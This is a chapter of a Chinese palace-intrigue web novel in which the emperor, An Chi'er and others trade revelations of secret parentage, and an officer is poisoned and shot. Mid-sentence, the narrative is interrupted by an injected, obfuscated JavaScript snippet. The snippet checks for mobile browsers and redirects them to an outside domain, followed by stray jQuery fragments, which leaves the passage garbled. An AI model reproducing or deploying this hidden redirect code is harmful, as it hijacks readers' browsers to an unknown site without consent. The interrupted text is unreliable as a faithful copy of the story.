75. 第七五章 玉甲碎

    沈文警惕地按着龙首质问道:“你做什么?”


    “臣女在皇上眼中乃将死之人,将死之人又有何惧?皇上害怕臣女做什么?”安池儿推开他的手猛地将龙首掀开,里面赫然藏着一把短剑,剑锋是凝固变黑的陈年血痂,“皇上这些年来御座坐得可稳当?”


    沈文想要推她却被安统扯着衣袖,沈文酸涩道:“安爱卿你就如此偏袒她!”


    “爹爹……”,池儿摇头。


    安统见状将手松开,沈文夺回短剑却意外将池儿从高台推落。


    安池儿环头任由自己滑落,好在喜服繁复层叠将她包裹,况且她身上还有沈星亦逼她穿着的玉护甲,眼看她越滚越快伴随着一声极其夸张的“哎呦!”池儿刚刚好地停在沁珠面前。


    “池儿!你没事吧!”沁珠心疼不已,她手碰一处安池儿就惊叫一分,几次过后沁珠斥责道,“父皇答应德王的事转眼就不作数了?难道今后儿臣也不能再相信父皇半分?”


    沈文怒道,“她自己滚落,安爱卿看得最清楚!”然而他垂眸便对上满是怨怒的眼睛,心中一急脱口而出,“她不是你的女儿!你不要心疼她!”


    池儿蓦地从地上站起,泣声不绝:“你胡说!我若不是爹爹的女儿,那我是谁?”


    乾清宫内顿时回荡着她的呜咽声,沈文恨恨地剜着安池儿,然后怜抚安统的脸颊温声道,“爱卿的孩子是朕的德王,自从朕从晏容口中知道真相,这些年来并没有亏待过他。”


    原来是晏容告诉他的,难怪沈星亦这几年备受恩宠,原来沈文都知道,“那我是谁?”她幽幽再问,“我是谁?”


    沈文被她逼得不耐烦,怒声回怼,“朕与晏容从未有过亲密之举,与皇后亦没有!朕心中所爱只有安统!从前是,今后亦是!”沈文一通话说完才如梦初醒,他将安统推开,提剑奔向安池儿。


    安统忍着腿间剧痛拽着他的衣袖,汗珠从他额间冒出,“微臣对皇上没有情感,皇上您使尽手段所强求的不过空一场,微臣所爱始终只有夏言。”


    沈文被安统刺痛!不死心地追问:“即便是恨意……也不曾有吗?”


    安统摇头,他温声道:“微臣对皇上只剩怜悯。”


    沈文凝了他,冷笑看向安池儿:“你不过是晏容与他人之女,不配得安家宠爱。”


    暗卫将池儿包围,眼看圈子越收越紧。


    此时,乾清宫的门被打开了,正是徐施只身闯入,他目光激动地注视着安池儿久久吐不出一个字,安池儿蹙眉,她方才求徐施,他一副不愿惹祸上身的避嫌之态,现在他……


    “皇上!不可啊!”徐施跪下喊道,他听觉惊人,方才的话他一字不落地尽收耳中,“微臣不能对晏容之女坐视不理!”


    “你进来做什么!”沈文拧眉,“倘若是来认亲那便太迟了,朕今日非杀她不可。”


    徐施急道:“皇上……”


    沈文挥手打断他的话,骤然笑着瞟着徐皇后道,“徐皇后如今可还思念江若寒?”


    徐皇后脸色铁青:“你……你知道!”


    “父皇、母后……”,沁珠的声音夹在两人成恨的对话中异常无辜,“你们说的话是什么意思?”


    沈文剜着徐皇后看向沁珠冷笑道:“我不是你的父皇,已死的江若寒才是。”


    “珠儿不要听他胡说!”徐皇后眸色充血,“你该死!你真该死!”她的涵养使她极尽所能也只能够重复该死二字。


    乾清宫的气氛已是焦灼万分。


    突然,沁珠双目闪光瞅着池儿,猛地反握上她的小臂大喊:“太好了!”


    她眸中的兴奋之色将安池儿吓了一跳:“公主,您没事吧?”


    沁珠摇头似鼓,这时门外传来一阵骚动,似乎有人在闯,等来人走近,殿中众人才听清楚来人的名字。


    “常小姐!常大人!皇上吩咐了,今日谁都不能进去啊!”石齐试图阻拦。


    常岂舒嚷嚷着:“今日是安堂生大喜之日,凭什么不让人进!不允人观礼的喜事算哪门子喜事!”她在门外大喊:“皇上!皇上放我进去!”


    石齐瞅着常义机,后者无奈摇头。


    自从常岂舒的娘亲难产去世,他总对岂舒宠爱有加从不拒绝她的请求,然而今日他难得说“不”,她立马以死相逼大哭大闹,偏是抱怨着爹爹爱意随风去,他无计可施只能一路护送,他何尝不知皇上今日有“大事”处理,可遇到岂舒他是束手无措!


    “让她进来!”沈文的声音从屋内传出,听不出起伏。


    常义机悄悄松了口气,殿门打开他与岂舒走进,殿内正剑拔弩张,他拉起岂舒就想跑:“小女今日失仪,微臣这就带小女回去,不打扰你们了!”


    “爹爹,我不走。”常岂舒甩开他躲到池儿和沁珠身后,“您自己回去吧。”


    常义机无语,岂舒不走,眼看局势每况日下他一人又哪里敢走!他僵在原地怯生生地抬眸看着沈文,不过那是……安大人!哎呦喂,他急忙垂头闭上眼睛。


    “岂舒,你怎么来了?”安池儿低声问道。


    常岂舒清明的目光在两人间徘徊:“德王方才在常府门口受伤,他在进门求药时跟我说速速进宫,我这就来了。”


    “他受伤了?”安池儿刚一问出口就后悔地抿唇。


    常岂舒安慰道:“小伤,应当只是他闯进常府的由头。”


    池儿蹙眉:“他为何叫你来?这里局势危急很不安全。”


    岂舒环视四周低声道:“池儿有所不知,皇上培养暗卫的钱由爹爹供奉,德王许是猜测爹爹会有法子制止暗卫,只是可惜爹爹只管奉钱,却还不曾有如此大的权势。”


    “既知如此你还冒死前来。”池儿愠怒,“岂舒太鲁莽了,我很担心你。”


    常岂舒道:“能拖一时胜算也大一分。”


    安池儿勉强笑着望她,这时她身后的徐施却轰然倒地发出声响,她猛地转身,徐施口冒血水,多亏敖梁搀扶他才没有横躺地上。


    徐施看向石齐了然道:“石齐奉的凉茶……实在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246056|175680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是解暑好茶。”语毕又一口血水吐出,“这些年来为皇上做的事卑职无悔,唯有一事为憾,不讲不快。”


    他凝眸注视着池儿,一字一句地说道:“你是我与晏容的孩子。”


    安池儿眸光闪烁,并没有拆穿他的话,他若是愿意这么想,她又何不成人之美。


    然而对于不知情的人,徐施的话如晴天霹雳,众人纷纷愣住,乾清宫内寂静如山。


    只有沈文愤恨道:“住口,别再说了!”


    徐施置若罔闻:“今日看你勇敢无畏,我很高兴。”


    “徐郎将……我……”,安池儿迟疑地伸手,她不知道说什么好,最终轻轻地唤了声,“父亲。”


    徐施幸福地笑着,“你的事,我会做到。”他挣扎着爬到门外拼劲全力喊道,“御林军听命——安池儿乃司官之女,诸位今日务必护她……呃……”


    池儿则眼睁睁地看着长箭贯穿徐施的身体,她回首红眼盯着放冷箭的暗卫,俯身从脚腕取出匕首狠命向那人胸口掷去,匕首“嗖”地一声没入暗卫的胸口。


    沈文面色惶恐地瞅着安池儿:“你大胆!”


    “蓄谋杀害沈成两帝,故意残害沉国忠良!我看真正大胆的人是你!沈文!”安池儿咬牙切齿,她垂落袖中的指尖拼命地颤抖,当她反应过来时攥成拳,可成串清泪不受控制地顺着脸颊滑落。


    “你胡说什么!”沈文挪动身子后退,暗卫护在他身前形成一道人墙铁壁。


    就在徐施中箭的瞬间,安统借着咳嗽快速将一物收在袖中,众人那时都被徐施的叫喊吸引,他以为无人发现他的动作,然而不经意地抬眸时却对上徐皇后探究的目光。


    “倘若我是胡说,皇上害怕什么?”池儿冷笑目光锁着沈文,“皇上的记性何时这般差劲,不过十余年您竟全都忘记了?”


    沈文突然挺直背脊目光越过她喊道:“星儿,你回来了,如何?城外退军了吗?”


    安池儿立马回头却只看到一脸愣怔的石齐,猛地她背后挨了一箭,从她身上发出一阵刺耳的金玉碰撞之声——玉甲碎了,她被这一阵撞击震得趴在地上耳中嗡鸣。


    “池儿!”沁珠身动立马蹲下扶她起来。


    “我没事。”池儿经此一击反而更加无所畏惧,于是一步步走到沈文的台前,“反正臣女今日左右不过一死,索性就与皇上您开诚布公地聊聊吧。”


    沈文却眯着眼眸心中不快:“星儿竟将我赐的玉甲给了你,你到底什么来头!”


    池儿摸着碎甲惊诧片刻继续道:“安府有一处地下密廊,皇上此前派过去的人想必已经见识过密廊的厉害。”她似笑非笑地仰视他,“也从密廊中将东西拿走了。”


    “慕尧诵那模样竟是你暗中使坏!”沈文闻言怒气翻腾。


    池儿摇头晃脑道:“慕首辅当真幸运,可惜他去得太晚!他可告诉您密廊已被大火焚烧?司官确实在密廊中留了东西,但这些东西在慕首辅去之前就已经被我取走。”


    “是什么?”沈文急问。